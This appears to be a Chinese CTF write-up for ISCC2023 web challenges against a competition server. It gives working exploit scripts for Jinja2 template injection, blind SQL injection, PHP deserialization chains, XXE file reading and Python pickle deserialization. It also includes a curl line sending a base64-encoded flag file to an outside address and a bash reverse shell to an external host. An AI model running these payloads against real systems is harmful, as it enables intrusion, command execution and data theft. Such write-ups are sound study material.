ISCC2023-Writeup-WEB
目录
羊了个羊
解题步骤
访问目标页面,通过view-source:http://47.94.14.162:10000/查看页面源码,发现引用了vue.global.js;
访问http://47.94.14.162:10000/vue.global.js,在文件中搜索关键词iscc,找到一段 Base64 编码;
对 Base64 编码直接解码,得到 flag。
辅助截图
**
小周的密码锁
解题步骤
获取源码:通过 GET 传参?password=1&password2=5,页面返回 PHP 源码;
代码分析:
SecurityCheck函数要求sha1为纯小写字母、sha2为纯大写字母,两者异或得到crypto;
需满足substr(sha1($crypto),-6,6) === substr(sha1($user),-6,6) === 'a05c53';
MyHashCode("ISCCNOTHARD") === MyHashCode($_GET['password'])且password不包含ISCC;
构造参数:
爆破得到sha1=beygtu、sha2=AKCMXW(异或后满足哈希条件);
爆破user得到BI48U(其 sha1 后 6 位为a05c53);
计算MyHashCode("ISCCNOTHARD"),得到password=ISCBvOTHARD(替换C为B避开ISCC过滤);
最终 Payload:
?password=1&password2=4&username=BI48U&sha1=beygtu&%E2%80%AE%E2%81%A6//sha2%E2%81%A9%E2%81%A6sha2=AKCMXW&password=ISCBvOTHARD
传参后得到 flag。
核心代码
1. 异或与哈希匹配脚本
import itertools
import hashlib
# 定义sha1计算函数(取后6位)
sha = lambda strs: hashlib.sha1(strs.encode()).hexdigest()[-6:]
# 爆破sha1和sha2(示例逻辑)
shalib = [chr(i) for i in range(ord('a'), ord('z')+1)] # 纯小写字母库
for i in itertools.permutations(shalib, 6):
temp = ''.join(i)
# 假设已知sha2=AKCMXW,计算异或后的crypto
crypto = ''.join([chr(ord(a) ^ ord(b)) for a, b in zip(temp, "AKCMXW")])
if sha(crypto) == "a05c53":
print(f"sha1={temp}, crypto={crypto}")
break
# 爆破user(纯字母+数字组合)
userlib = [chr(i) for i in range(ord('A'), ord('Z')+1)] + [str(i) for i in range(10)]
for length in range(1, 7):
for i in itertools.permutations(userlib, length):
temp = ''.join(i)
if sha(temp) == "a05c53":
print(f"user={temp}")
break
2. PHP 源码(关键部分)
<?php
function MyHashCode($str)
{
$h = 0;
$len = strlen($str);
for ($i = 0; $i < $len; $i++) {
$hash = intval40(intval40(40 * $hash) + ord($str[$i]));
}
return abs($hash);
}
function intval40($code)
{
$falg = $code >> 32;
if ($falg == 1) {
$code = ~($code - 1);
return $code * -1;
} else {
return $code;
}
}
// 其他函数与逻辑...
?>
老狼老狼几点了
解题步骤
爆破入口:尝试不同数字传参,发现12可跳转到guess_time.php;
源码分析:
需满足p1 !== p2 && md5($p1) === md5($p2)(MD5 强碰撞),且substr($p1, 0, 10) === strval(time())(前 10 位为当前时间戳);
extract($POST)存在变量覆盖,可篡改$SESSION;
类what_time_is_it的filter函数过滤base64,存在反序列化字符串逃逸漏洞;
漏洞利用:
使用fastcoll_v.exe生成 MD5 强碰撞文件in_msg1.txt和in_msg2.txt,提取内容并 URL 编码作为p1和p2;
POST 传参SESSION[a]=base64base64base64和SESSION[b]=b";s:1:"b";s:2:"ab";s:4:"file";s:57:"php://filter/read=convert.basbase64e64-encode/resource=flag.php";s:8:"function";s:4:"hack";},实现$_SESSION覆盖;
编写 Python 脚本循环发包,直到p1前 10 位与当前时间戳匹配,触发变量覆盖与反序列化,读取flag.php的 Base64 编码内容;
解码 flag:对读取到的 Base64 内容解码,得到 flag。
核心代码
1. 碰撞文件处理脚本(PHP)
<?php
function readmyfile($path) {
$fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return $data;
}
// 读取碰撞文件并URL编码
$a = urlencode(readmyfile("H:/Desktop/timenow/in_msg1.txt"));
$b = urlencode(readmyfile("H:/Desktop/timenow/in_msg2.txt"));
// 输出参数格式
if (md5((string)urldecode($a)) === md5((string)urldecode($b))) {
echo "param1=" . $a;
}
echo "&<br>";
if (urldecode($a) != urldecode($b)) {
echo "param2=" . $b;
}
echo "&<br>";
// 变量覆盖Payload
echo '_SESSION[a]=base64base64base64&_SESSION[b]=b\";s:1:\"b\";s:2:\"ab\";s:4:\"file\";s:57:\"php://filter/read=convert.basbase64e64-encode/resource=flag.php\";s:8:\"function\";s:4:\"hack\";}';
?>
2. 循环发包脚本(Python)
import requests
import time
from urllib import parse
url = "http://47.94.14.162:10007/guess_time.php"
cookie = "csrftoken=K0hBrlXvn8GR4y0qeWajYVocfWYmmkWdqMiWfFW43fQC4up77Orp9LcY4GOTFprL"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
"Cookie": cookie,
"Content-Type": "application/x-www-form-urlencoded"
}
# 替换为实际生成的p1和p2(URL编码后)
payload = 'param1=1683622791%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%82%D4Z%1B%02%9A%E6%14%BC%86%C3%DC%5B%17w%B6%A6X%C2%3E%B1%CBuR%5D%AE7%2AN%C4%B8%D7%E5%F3%C9%E2%3A%C5%FEx%8B%E4%CF%1B%9D%85%A4%A1%5C%E8%9F%1B%25%5EW%FA%DE%ED%02%91%3A%9A%8B5%23%8C%95%5E%E9%5Bs%7F%A9J%FDg%A5%B23C%B2%FC%FA%5E%05F%3E%AB%D1Z%F6%C9%ECF%DE%F1%96e%BE%DB%F6%0C%DC%93zK%5D%D7%01%DD%15-%5E%D2%E4%ED%7F%92U%DE%D1%88S%3D%27%0E%00%18¶m2=1683622791%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%82%D4Z%1B%02%9A%E6%14%BC%86%C3%DC%5B%17w%B6%A6X%C2%BE%B1%CBuR%5D%AE7%2AN%C4%B8%D7%E5%F3%C9%E2%3A%C5%FEx%8B%E4%CF%1B%9D%05%A5%A1%5C%E8%9F%1B%25%5EW%FA%DE%ED%02%11%3A%9A%8B5%23%8C%95%5E%E9%5Bs%7F%A9J%FDg%A5%B23C%B2%FC%FA%DE%05F%3E%AB%D1Z%F6%C9%ECF%DE%F1%96e%BE%DB%F6%0C%DC%93zK%5D%D7%01%5D%15-%5E%D2%E4%ED%7F%92U%DE%D1%88S%BD%27%0E%00%18&_SESSION[a]=base64base64base64&_SESSION[b]=b\";s:1:\"b\";s:2:\"ab\";s:4:\"file\";s:57:\"php://filter/read=convert.basbase64e64-encode/resource=flag.php\";s:8:\"function\";s:4:\"hack\";}'
# 循环发包,直到匹配时间戳
while True:
response = requests.post(url, data=payload, headers=headers)
if "Just the time" in response.text:
print("成功触发!响应内容:")
print(response.text)
break
else:
print("时间戳不匹配,重试...")
time.sleep(1)
chatGGG
解题步骤
漏洞识别:页面支持 POST 传参ask,推测存在模板注入漏洞(如 Jinja2);
Payload 构造:通过lipsum过滤器的attr方法调用全局变量,执行系统命令cat fll*(匹配 flag 文件);
字符编码:将关键函数名(如globals、getitem、popen)转为十六进制编码,避免关键字过滤;
执行脚本:发送 POST 请求,获取命令执行结果,得到 flag。
核心代码
import requests
def gethex(s1):
"""将字符串转为十六进制编码(\x格式)"""
s = ""
for i in s1:
s += hex(ord(i)).replace("0x", "\\x")
return s
# 构造模板注入Payload,执行cat fll*命令
payload2 = '{% print(lipsum|attr("' + gethex("__globals__") + '")|attr("' + gethex("__getitem__") + '")("os")|attr("' + gethex("popen") + '")("' + gethex("cat fll*") + '")|attr("' + gethex("read") + '")() ) %}'
url = "http://47.94.14.162:10006"
# 发送POST请求
result = requests.post(url, data={"ask": payload2}).text
print("执行结果:")
print(result)
ISCC 疯狂购物节 - 1
解题步骤
绕过限制:通过 Cookie 绕过 “are you kidding me” 验证;
SQL 注入点识别:发现/Details/search?id=4875610)||{} like binary 0x5f25 %23存在布尔盲注;
注入逻辑:
先通过find_flag_col()函数找到 flag 所在字段(如fl4g);
利用binary 0x25{}{}25({}为字符十六进制)进行逐字符盲注,匹配flag的每一位;
脚本执行:循环发送请求,根据响应是否包含 “576O576K576K” 判断字符是否正确,逐步拼接得到 flag。
核心代码
import requests
import string
from time import sleep
# 代理配置(可选,用于调试)
proxies = {
'http': 'http://127.0.0.1:8011',
'https': 'http://127.0.0.1:8011'
}
# Cookie与请求头(需替换为实际有效值)
cookies = {
'csrftoken': "NNWGwOeSnvmIiXj3zAn1nivdehB0gYaKBc2gh0K7qex4plk1qSqKzBixErvhlhnm",
'sessionid': "rptotpsqlnpf7o1amc72dp5xbdovj0lr"
}
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6',
'Cache-Control': 'max-age=0',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36'
}
def str_to_hex(string):
"""字符串转十六进制(无0x前缀)"""
result = ''
for i in string:
result += hex(ord(i))[2:]
return result
# 1. 查找flag所在字段(需提前准备字段列表flag.txt)
def find_flag_col():
url_template = "http://47.94.14.162:10001/Details/search?id=4875610)||{} like binary 0x5f25 %23"
with open('flag.txt', 'r') as f:
for field in f:
field = field.strip()
payload_url = url_template.format(field)
print(f"测试字段:{field},URL:{payload_url}")
response = requests.get(url=payload_url, cookies=cookies, headers=headers, proxies=proxies)
sleep(1)
if response.status_code != 500:
print(f"找到flag字段:[+] {field}")
return field
return None
# 2. 逐字符盲注flag(假设字段为fl4g)
def blind_inject(flag_field):
url_template = f"http://47.94.14.162:10001/Details/search?id=4875610)||{flag_field} like binary 0x25{{}}{{}}25 %23"
# 可能的字符集
alphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{|}"
result = "ISCC{" # flag前缀已知
for _ in range(1, 100): # 最多尝试100位
found = False
for ch in alphabet:
# 构造Payload:匹配前n位+当前字符
prev_char_hex = str_to_hex(result[-1]) if len(result) > 0 else ""
current_char_hex = str_to_hex(ch)
payload_url = url_template.format(prev_char_hex, current_char_hex)
response = requests.get(url=payload_url, cookies=cookies, headers=headers, proxies=proxies)
sleep(1)
# 处理“too fast”限制
if "too fast" in response.text:
print("请求过快,等待2秒重试...")
sleep(2)
response = requests.get(url=payload_url, cookies=cookies, headers=headers, proxies=proxies)
# 判断是否匹配成功
if "576O576K576K" in response.text:
result += ch
print(f"注入成功:[+] {result}")
found = True
break
# 若当前轮未找到字符,说明注入完成
if not found:
print("注入完成,最终flag:", result)
return result
print("注入超时,当前结果:", result)
return result
# 执行注入
if __name__ == "__main__":
flag_field = find_flag_col() # 先找字段
if flag_field:
blind_inject(flag_field) # 再注flag
Where_is_your_love
解题步骤
查看源码:页面禁用右键和 F12,通过view-source:http://47.94.14.162:10003/查看源码,发现引用的 JS 文件;
解码 JS 内容:访问 JS 文件,底部存在加密代码,复制到浏览器控制台执行,得到Enc.php、LoveStory.php、Download.php三个文件名;
获取文件:访问三个文件,分别得到加密 PHP 代码、反序列化页面、公钥文件(publickey);
反序列化构造:
分析LoveStory.php的类关系,构造反序列化链:boy:destruct -> girl:call -> helper:isset -> boy:toString -> helper:__get -> love_story:love;
编写 PHP 脚本生成序列化 Payload,URL 编码后通过 GET 传参;
RSA 解密与代码解密:
利用公钥和费马分解得到私钥,解密Enc.php的加密内容;
根据Enc.php的加密逻辑(strrev(str_rot13($data)) + 异或 + 十六进制),编写 Python 脚本解密,最终通过 ROT13 得到 flag。
辅助截图
**
核心代码
1. 反序列化 Payload 构造脚本(PHP)
class boy
{
public $like;
// __destruct:调用like的make_friends()
public function __destruct()
{
@$this->like->make_friends();
}
// __toString:返回like的string属性
public function __toString()
{
return $this->like->string;
}
}
class girl
{
private $boyname;
public function __construct($a)
{
$this->boyname = $a;
}
// __call:调用boyname的name属性(触发__isset)
public function __call($func, $args)
{
isset($this->boyname->name);
}
}
class helper
{
private $name;
private $string;
public function __construct($a, $string)
{
if ($a === 1) {
// 构造调用love_story::love()的代码
$this->name = array('string' => '(new love_story())->love');
} else {
$this->name = $a;
}
$this->string = $string;
}
// __isset:输出name(触发boy的__toString)
public function __isset($val)
{
echo $this->name;
}
// __get:调用name的string属性(执行love_story::love())
public function __get($name)
{
$var = $this->$name;
$var[$name]();
}
}
class love_story
{
public $fall_in_love = array("girl_and_boy");
// love():输出flag
public function love()
{
array_walk($this, function ($make, $colo) {
if ($make[0] === "girl_and_boy" && $colo === "fall_in_love") {
global $flag;
echo $flag;
}
});
}
}
// 构造反序列化链
$b1 = new boy();
$h2 = new helper(1, ""); // name为调用love的代码
$b2 = new boy();
$b2->like = $h2;
$h1 = new helper($b2, "222");
$g = new girl($h1);
$b1->like = $g;
// 生成URL编码的Payload
echo urlencode(serialize($b1));
2. Enc.php 解密脚本(Python)
import binascii
import codecs
# 从Enc.php获取的十六进制密文
cipher_hex = "e32a001e330a24e75e27e61805581f5a19271b255f3c393a293059360f1ae05f2be13e3e3404"
decrypt_str = ""
# 第一步:十六进制转字符 -> 异或100 -> 减10
for i in range(0, len(cipher_hex), 2):
# 十六进制转十进制
c = int(cipher_hex[i:i+2], 16)
# 异或100
b = c ^ 100
# 减10后转字符
a = chr(b - 10)
decrypt_str += a
# 第二步:反转字符串 -> ROT13解密
reverse_str = decrypt_str[::-1]
rot13_str = codecs.encode(reverse_str, 'rot_13')
print("最终解密结果(flag):", rot13_str)
上大号说话
解题步骤
页面分析:访问目标页面,输入任意内容后发现 Cookie 变化,推测存在序列化数据;
目录扫描:使用dirsearch扫描,发现.git目录,下载备份文件.bak;
源码分析:
ED类使用Fernet加密,generate_key方法将密钥补0至 32 字节(Base64 编码前);
check_cookies函数解密 Cookie 后反序列化,需满足result.name == 'mabaoguo'等条件;
存在 Python 反序列化漏洞,可构造恶意 Payload 执行系统命令;
漏洞利用:
爆破file_key得到5MbG(满足密钥长度补0后符合 Fernet 要求);
构造恶意序列化 Payload(执行curl反弹 Shell,将flag文件 Base64 编码后发送到公网地址);
使用ED类加密 Payload,设置 Cookie 后访问页面,触发反序列化执行命令;
获取 flag:在公网监听端接收 Base64 编码的flag内容,解码后得到 flag。
辅助截图
**
核心代码
1. 恶意 Payload 生成脚本(Python)
import pickle
import base64
from cryptography.fernet import Fernet
class ED:
def __init__(self, file_key):
self.file_key = file_key
self.cipher_suite = Fernet(self.generate_key(self.file_key))
@staticmethod
def generate_key(key: str):
"""生成Fernet密钥(补0至32字节后Base64编码)"""
key_byte = key.encode()
return base64.urlsafe_b64encode(key_byte + b'0' * 28)
def crypto(self, base_str):
"""加密数据"""
return self.cipher_suite.encrypt(base_str)
# 1. 构造恶意序列化Payload(执行反弹Shell命令)
# 命令:curl 公网地址/`cat flag文件|base64`(将flagBase64后发送到公网)
# 替换为公网地址(如xxx.xxx.xxx.xxx:7777)
command = b'curl xxx.xxx.xxx.xxx:7777/`cat flagucjbgaxqef.txt| base64`'
# 构造pickle恶意Payload(protocol=3)
payload = b'\x80\x03(cos\nsystem\nX' + bytes([len(command)]) + b'\x00\x00\x00' + command + b'o.'
# 2. 使用正确的file_key加密Payload
ed = ED(file_key='5MbG') # 爆破得到的file_key
encrypted_payload = ed.crypto(payload).decode()
print("加密后的Cookie值:")
print(encrypted_payload)
2. 公网监听命令(Linux)
# 启动NC监听7777端口
nc -lvp 7777
ISCC 单身节抽奖 - 2
解题步骤
构造 Cookie:通过构造密码ccccccc123456";s:8:"username";s:64:" cccccccc";s:4:"sdog";i:1;}(用户名任意),实现 Cookie 序列化数据篡改;
文件读取:访问http://47.94.14.162:10015/loadzk1myHJ0vaEoT5U0j6xDOVLBw693g83S.php?file=../../../apidemo.php&&check_time=0.5e6,获取apidemo.php源码,发现 XXE 漏洞;
XXE 注入:构造 XXE Payload,读取/flag文件内容;
获取 flag:发送 Payload 后,页面返回flag内容。
辅助截图
**
核心 Payload(XXE)
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE name [
<!ENTITY goodies SYSTEM "file:///flag"> ]>
<user>
<name>&goodies;</name>
<isdog>sin66isdog</isdog>
<award>66</award>
</user>
ISCC 零元购 - 2
解题步骤
Cookie 分析:发现 Cookie 为 Python 序列化数据,且过滤大部分关键字,但未过滤R指令(reduce相关);
Opcode 构造:手动构造 Python 反序列化 Opcode,利用timeit模块执行代码,核心格式为Vxxxx\ntimeit\ntimeit\nR.,其中xxxx为 Unicode 编码的恶意代码;
恶意代码编写:将import('os').system('bash -c "bash -i >& /dev/tcp/公网地址/端口 0<&1 2>&1"')转为 Unicode 编码;
Payload 加密:将 Opcode 序列 Base64 编码后作为 Cookie 值;
反弹 Shell:在公网启动 NC 监听,访问页面触发反序列化,获取 Shell 后读取flag。
核心 Payload(Unicode 编码与 Base64)
1. 恶意代码 Unicode 编码
# 反弹Shell命令(替换为公网地址和端口)
cmd = 'import(\'os\').system(\'bash -c "bash -i >& /dev/tcp/zua.tpddns.cn/1234 0<&1 2>&1"\')'
# 转为Unicode编码(\u格式)
unicode_cmd = ''.join([f'\\u{ord(c):04x}' for c in cmd])
print("Unicode编码后的代码:")
print(unicode_cmd)
2. 最终 Opcode 与 Base64 编码
import base64
# 构造Opcode(V + Unicode代码 + timeit + timeit + R.)
opcode = b'(V' + unicode_cmd.encode('unicode-escape') + b'\nitimeit\ntimeit\nR.'
# Base64编码
b64_opcode = base64.b64encode(opcode).decode()
print("Base64编码后的Payload(Cookie值):")
print(b64_opcode)
3. 公网监听命令(Linux)
# 启动NC监听1234端口
nc -lvp 1234